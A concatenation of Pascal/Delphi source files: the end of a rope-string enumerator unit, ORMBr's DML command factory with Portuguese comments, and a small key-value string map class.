FPointer.FCurrentCharacter := kEOF;
Assert(FPointer.IsEOF());
{$ENDIF}
end;
end;
{$IFOPT C+}
procedure RopeEnumerator.AssertIdentity(constref Target: Rope);
begin
FPointer.AssertIdentity(@Target);
end;
{$ENDIF}
function RopeEnumerator.MoveNext(): Boolean;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: MoveNext() on rope enumerator @', IntToHex(PtrUInt(Self), 16)); {$ENDIF}
if (Assigned(FPointer.FPosition.CurrentFragment)) then
begin
{$IFOPT C+} Assert(not FPointer.IsEOF()); {$ENDIF}
FPointer.AdvanceToNext();
Result := FPointer.FCurrentCharacter <> kEOF;
end
else
begin
Assert(FPointer.FCurrentCharacter = kEOF);
Result := False;
end;
end;
function RopeEnumerator.GetPointer(): TRopePointer;
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: GetPointer() on rope enumerator @', IntToHex(PtrUInt(Self), 16)); {$ENDIF}
Result := FPointer;
end;
procedure RopeEnumerator.ReturnToPointer(constref NewPointer: TRopePointer);
begin
{$IFDEF VERBOSE} if (DebugNow) then Writeln('Ropes: ReturnToPointer() on rope enumerator @', IntToHex(PtrUInt(Self), 16)); {$ENDIF}
{$IFOPT C+} Assert(NewPointer.FRope = FPointer.FRope); {$ENDIF}
FPointer := NewPointer;
end;
function RopeEnumerator.GetCurrentAsUTF8(): TUTF8Sequence;
begin
Result := CodepointToUTF8(FPointer.FCurrentCharacter);
end;
operator = (constref Op1, Op2: TRopePointer): Boolean;
begin {BOGUS Warning: Function result variable does not seem to initialized}
{$IFOPT C+} Assert(Op1.FRope = Op2.FRope); {$ENDIF}
if (Op1.FPosition.CurrentFragment = Op2.FPosition.CurrentFragment) then
begin
Assert(Assigned(Op1.FPosition.CurrentFragment));
case (Op1.FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: Result := (Op1.FPosition.BufferIndex = Op2.FPosition.BufferIndex) and (Op1.FPosition.BufferCodepointLength = Op2.FPosition.BufferCodepointLength);
rfUTF8Inline: Result := (Op1.FPosition.InlineIndex = Op2.FPosition.InlineIndex) and (Op1.FPosition.InlineCodepointLength = Op2.FPosition.InlineCodepointLength);
rfCodepoints: Result := (Op1.FPosition.CodepointsIndex = Op2.FPosition.CodepointsIndex) and (Op1.FPosition.CodepointsIndexIncluded = Op2.FPosition.CodepointsIndexIncluded);
else Assert(False);
end;
end
else
Result := False;
end;
operator < (constref Op1, Op2: TRopePointer): Boolean;
var
Fragment: RopeInternals.PRopeFragment;
begin {BOGUS Warning: Function result variable does not seem to initialized}
{$IFOPT C+} Assert(Op1.FRope = Op2.FRope); {$ENDIF}
if (Op1.FPosition.CurrentFragment = Op2.FPosition.CurrentFragment) then
begin
Assert(Assigned(Op1.FPosition.CurrentFragment));
case (Op1.FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: Result := (Op1.FPosition.BufferIndex < Op2.FPosition.BufferIndex) or
((Op1.FPosition.BufferIndex = Op2.FPosition.BufferIndex) and (Op1.FPosition.BufferCodepointLength < Op2.FPosition.BufferCodepointLength));
rfUTF8Inline: Result := (Op1.FPosition.InlineIndex < Op2.FPosition.InlineIndex) or
((Op1.FPosition.InlineIndex = Op2.FPosition.InlineIndex) and (Op1.FPosition.InlineCodepointLength < Op2.FPosition.InlineCodepointLength));
rfCodepoints: Result := (Op1.FPosition.CodepointsIndex < Op2.FPosition.CodepointsIndex) or
((Op1.FPosition.CodepointsIndex = Op2.FPosition.CodepointsIndex) and (not Op1.FPosition.CodepointsIndexIncluded) and (Op2.FPosition.CodepointsIndexIncluded));
else Assert(False);
end;
end
else
begin
Fragment := Op1.FPosition.CurrentFragment;
repeat
if (Fragment = Op2.FPosition.CurrentFragment) then
begin
Result := True;
exit;
end;
Assert(Fragment <> Fragment^.Next);
Fragment := Fragment^.Next;
until not Assigned(Fragment);
Result := False;
end;
end;
operator <= (constref Op1, Op2: TRopePointer): Boolean;
var
Fragment: RopeInternals.PRopeFragment;
begin {BOGUS Warning: Function result variable does not seem to initialized}
{$IFOPT C+} Assert(Op1.FRope = Op2.FRope); {$ENDIF}
if (Op1.FPosition.CurrentFragment = Op2.FPosition.CurrentFragment) then
begin
Assert(Assigned(Op1.FPosition.CurrentFragment));
case (Op1.FPosition.CurrentFragment^.Kind) of
rfUTF8Buffer: Result := (Op1.FPosition.BufferIndex < Op2.FPosition.BufferIndex) or
((Op1.FPosition.BufferIndex = Op2.FPosition.BufferIndex) and (Op1.FPosition.BufferCodepointLength <= Op2.FPosition.BufferCodepointLength));
rfUTF8Inline: Result := (Op1.FPosition.InlineIndex < Op2.FPosition.InlineIndex) or
((Op1.FPosition.InlineIndex = Op2.FPosition.InlineIndex) and (Op1.FPosition.InlineCodepointLength <= Op2.FPosition.InlineCodepointLength));
rfCodepoints: Result := (Op1.FPosition.CodepointsIndex < Op2.FPosition.CodepointsIndex) or
((Op1.FPosition.CodepointsIndex = Op2.FPosition.CodepointsIndex) and ((not Op1.FPosition.CodepointsIndexIncluded) or (Op2.FPosition.CodepointsIndexIncluded)));
else Assert(False);
end;
end
else
begin
Fragment := Op1.FPosition.CurrentFragment;
repeat
if (Fragment = Op2.FPosition.CurrentFragment) then
begin
Result := True;
exit;
end;
Assert(Fragment <> Fragment^.Next);
Fragment := Fragment^.Next;
until not Assigned(Fragment);
Result := False;
end;
end;
operator = (constref Op1, Op2: Rope): Boolean;
var
E1, E2: RopeEnumerator;
GotMore1, GotMore2: Boolean;
function IsNext(): Boolean;
begin
GotMore1 := E1.MoveNext();
GotMore2 := E2.MoveNext();
Result := (GotMore1) and (GotMore2);
end;
begin
E1 := RopeEnumerator.Create(@Op1);
E2 := RopeEnumerator.Create(@Op2);
while (IsNext()) do
begin
if (E1.Current <> E2.Current) then
begin
Result := False;
E1.Free();
E2.Free();
exit;
end;
end;
Result := (not GotMore1) and {BOGUS Warning: Local variable "GotMore1" does not seem to be initialized}
(not GotMore2); {BOGUS Warning: Local variable "GotMore2" does not seem to be initialized}
E1.Free();
E2.Free();
end;
end.
|
{
ORM Brasil é um ORM simples e descomplicado para quem utiliza Delphi
Copyright (c) 2016, Isaque Pinheiro
All rights reserved.
GNU Lesser General Public License
Versão 3, 29 de junho de 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
A todos é permitido copiar e distribuir cópias deste documento de
licença, mas mudá-lo não é permitido.
Esta versão da GNU Lesser General Public License incorpora
os termos e condições da versão 3 da GNU General Public License
Licença, complementado pelas permissões adicionais listadas no
arquivo LICENSE na pasta principal.
}
{ @abstract(ORMBr Framework.)
@created(20 Jul 2016)
@author(Isaque Pinheiro <isaquepsp@gmail.com>)
@author(Skype : ispinheiro)
ORM Brasil é um ORM simples e descomplicado para quem utiliza Delphi.
}
unit ormbr.command.factory;
interface
uses
DB,
Rtti,
Generics.Collections,
ormbr.criteria,
ormbr.types.mapping,
ormbr.factory.interfaces,
ormbr.mapping.classes,
ormbr.dml.generator,
ormbr.command.selecter,
ormbr.command.inserter,
ormbr.command.deleter,
ormbr.command.updater,
ormbr.Types.database;
type
TDMLCommandFactoryAbstract = class abstract
protected
FDMLCommand: string;
public
constructor Create(const AObject: TObject; const AConnection: IDBConnection; const ADriverName: TDriverName); virtual; abstract;
function GeneratorSelectAll(AClass: TClass; APageSize: Integer): IDBResultSet; virtual; abstract;
function GeneratorSelectID(AClass: TClass; AID: Variant): IDBResultSet; virtual; abstract;
function GeneratorSelect(ASQL: String; APageSize: Integer): IDBResultSet; virtual; abstract;
function GeneratorSelectOneToOne(const AOwner: TObject; const AClass: TClass;
const AAssociation: TAssociationMapping): IDBResultSet; virtual; abstract;
function GeneratorSelectOneToMany(const AOwner: TObject; const AClass: TClass;
const AAssociation: TAssociationMapping): IDBResultSet; virtual; abstract;
function GeneratorSelectWhere(const AClass: TClass; const AWhere: string;
const AOrderBy: string; const APageSize: Integer): string; virtual; abstract;
function GeneratorNextPacket: IDBResultSet; virtual; abstract;
function GetDMLCommand: string; virtual; abstract;
function ExistSequence: Boolean; virtual; abstract;
procedure GeneratorUpdate(const AObject: TObject; const AModifiedFields: TList<string>); virtual; abstract;
procedure GeneratorInsert(const AObject: TObject); virtual; abstract;
procedure GeneratorDelete(const AObject: TObject); virtual; abstract;
end;
TDMLCommandFactory = class(TDMLCommandFactoryAbstract)
protected
FConnection: IDBConnection;
FCommandSelecter: TCommandSelecter;
FCommandInserter: TCommandInserter;
FCommandUpdater: TCommandUpdater;
FCommandDeleter: TCommandDeleter;
public
constructor Create(const AObject: TObject; const AConnection: IDBConnection; const ADriverName: TDriverName); override;
destructor Destroy; override;
function GeneratorSelectAll(AClass: TClass; APageSize: Integer): IDBResultSet; override;
function GeneratorSelectID(AClass: TClass; AID: Variant): IDBResultSet; override;
function GeneratorSelect(ASQL: String; APageSize: Integer): IDBResultSet; override;
function GeneratorSelectOneToOne(const AOwner: TObject; const AClass: TClass;
const AAssociation: TAssociationMapping): IDBResultSet; override;
function GeneratorSelectOneToMany(const AOwner: TObject; const AClass: TClass;
const AAssociation: TAssociationMapping): IDBResultSet; override;
function GeneratorSelectWhere(const AClass: TClass; const AWhere: string;
const AOrderBy: string; const APageSize: Integer): string; override;
function GeneratorNextPacket: IDBResultSet; override;
function GetDMLCommand: string; override;
function ExistSequence: Boolean; override;
procedure GeneratorUpdate(const AObject: TObject; const AModifiedFields: TList<string>); override;
procedure GeneratorInsert(const AObject: TObject); override;
procedure GeneratorDelete(const AObject: TObject); override;
end;
implementation
uses
ormbr.objects.helper,
ormbr.rtti.helper;
{ TDMLCommandFactory }
constructor TDMLCommandFactory.Create(const AObject: TObject;
const AConnection: IDBConnection; const ADriverName: TDriverName);
begin
FConnection := AConnection;
FCommandSelecter := TCommandSelecter.Create(AConnection, ADriverName, AObject);
FCommandInserter := TCommandInserter.Create(AConnection, ADriverName, AObject);
FCommandUpdater := TCommandUpdater.Create(AConnection, ADriverName, AObject);
FCommandDeleter := TCommandDeleter.Create(AConnection, ADriverName, AObject);
end;
destructor TDMLCommandFactory.Destroy;
begin
FCommandSelecter.Free;
FCommandDeleter.Free;
FCommandInserter.Free;
FCommandUpdater.Free;
inherited;
end;
function TDMLCommandFactory.GetDMLCommand: string;
begin
Result := FDMLCommand;
end;
function TDMLCommandFactory.ExistSequence: Boolean;
begin
if FCommandInserter.Sequence <> nil then
Exit(FCommandInserter.Sequence.ExistSequence)
else
Exit(False)
end;
procedure TDMLCommandFactory.GeneratorDelete(const AObject: TObject);
begin
FConnection.ExecuteDirect(FCommandDeleter.GenerateDelete(AObject), FCommandDeleter.Params);
FDMLCommand := FCommandDeleter.GetDMLCommand;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandDeleter.Params);
end;
procedure TDMLCommandFactory.GeneratorInsert(const AObject: TObject);
begin
FConnection.ExecuteDirect(FCommandInserter.GenerateInsert(AObject), FCommandInserter.Params);
FDMLCommand := FCommandInserter.GetDMLCommand;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandInserter.Params);
end;
function TDMLCommandFactory.GeneratorSelect(ASQL: String; APageSize: Integer): IDBResultSet;
begin
FCommandSelecter.SetPageSize(APageSize);
Result := FConnection.ExecuteSQL(ASQL);
FDMLCommand := ASQL;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandSelecter.Params);
end;
function TDMLCommandFactory.GeneratorSelectAll(AClass: TClass; APageSize: Integer): IDBResultSet;
begin
FCommandSelecter.SetPageSize(APageSize);
Result := FConnection.ExecuteSQL(FCommandSelecter.GenerateSelectAll(AClass));
FDMLCommand := FCommandSelecter.GetDMLCommand;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandSelecter.Params);
end;
function TDMLCommandFactory.GeneratorSelectOneToMany(const AOwner: TObject;
const AClass: TClass; const AAssociation: TAssociationMapping): IDBResultSet;
begin
Result := FConnection.ExecuteSQL(FCommandSelecter.GenerateSelectOneToMany(AOwner, AClass, AAssociation));
FDMLCommand := FCommandSelecter.GetDMLCommand;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandSelecter.Params);
end;
function TDMLCommandFactory.GeneratorSelectOneToOne(const AOwner: TObject;
const AClass: TClass; const AAssociation: TAssociationMapping): IDBResultSet;
begin
Result := FConnection.ExecuteSQL(FCommandSelecter.GenerateSelectOneToOne(AOwner, AClass, AAssociation));
FDMLCommand := FCommandSelecter.GetDMLCommand;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandSelecter.Params);
end;
function TDMLCommandFactory.GeneratorSelectWhere(const AClass: TClass;
const AWhere: string; const AOrderBy: string; const APageSize: Integer): string;
begin
FCommandSelecter.SetPageSize(APageSize);
Result := FCommandSelecter.GeneratorSelectWhere(AClass, AWhere, AOrderBy);
end;
function TDMLCommandFactory.GeneratorSelectID(AClass: TClass; AID: Variant): IDBResultSet;
begin
Result := FConnection.ExecuteSQL(FCommandSelecter.GenerateSelectID(AClass, AID));
FDMLCommand := FCommandSelecter.GetDMLCommand;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandSelecter.Params);
end;
function TDMLCommandFactory.GeneratorNextPacket: IDBResultSet;
begin
Result := FConnection.ExecuteSQL(FCommandSelecter.GenerateNextPacket);
FDMLCommand := FCommandSelecter.GetDMLCommand;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandSelecter.Params);
end;
procedure TDMLCommandFactory.GeneratorUpdate(const AObject: TObject;
const AModifiedFields: TList<string>);
begin
if AModifiedFields.Count > 0 then
begin
FConnection.ExecuteDirect(FCommandUpdater.GenerateUpdate(AObject, AModifiedFields), FCommandUpdater.Params);
FDMLCommand := FCommandUpdater.GetDMLCommand;
/// <summary>
/// Envia comando para tela do monitor.
/// </summary>
if FConnection.CommandMonitor <> nil then
FConnection.CommandMonitor.Command(FDMLCommand, FCommandUpdater.Params);
end;
end;
end.
|
unit uCommonTypes;
interface
uses
Classes, SysUtils;
type
TKeyValue = class
private
fList : TStringList;
fCaseSensitive: Boolean;
function getKeyName(const Key: String): String;
public
constructor Create;
destructor Destroy; override;
property CaseSensitive: Boolean read fCaseSensitive write fCaseSensitive;
procedure Add(const Key, Value :String);
function GetValue(const Key: String): String;
end;
implementation
const
NameValueSeparator = '=';
{ TKeyValue }
procedure TKeyValue.Add(const Key, Value: String);
var
index : Integer;
keyName : String;
begin
keyName := getKeyName(Key);
index := fList.IndexOfName(KeyName);
if index = -1 then
fList.Add(KeyName + NameValueSeparator + Value)
else
fList[index] := KeyName + NameValueSeparator + Value;
end;
constructor TKeyValue.Create;
begin
fList := TStringList.Create;
end;
destructor TKeyValue.Destroy;
begin
fList.Free;
inherited;
end;
function TKeyValue.getKeyName(const Key: String): String;
begin
Result := Key;
if fCaseSensitive then
Result := AnsiUpperCase(Result);
end;
function TKeyValue.GetValue(const Key: String): String;
var
keyName : String;
begin
keyName := getKeyName(Key);
if fList.IndexOfName(KeyName) = -1 then
raise Exception.Create(Format('Key [%s] not found.', [KeyName]));
Result := fList.Values[KeyName];
end;
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.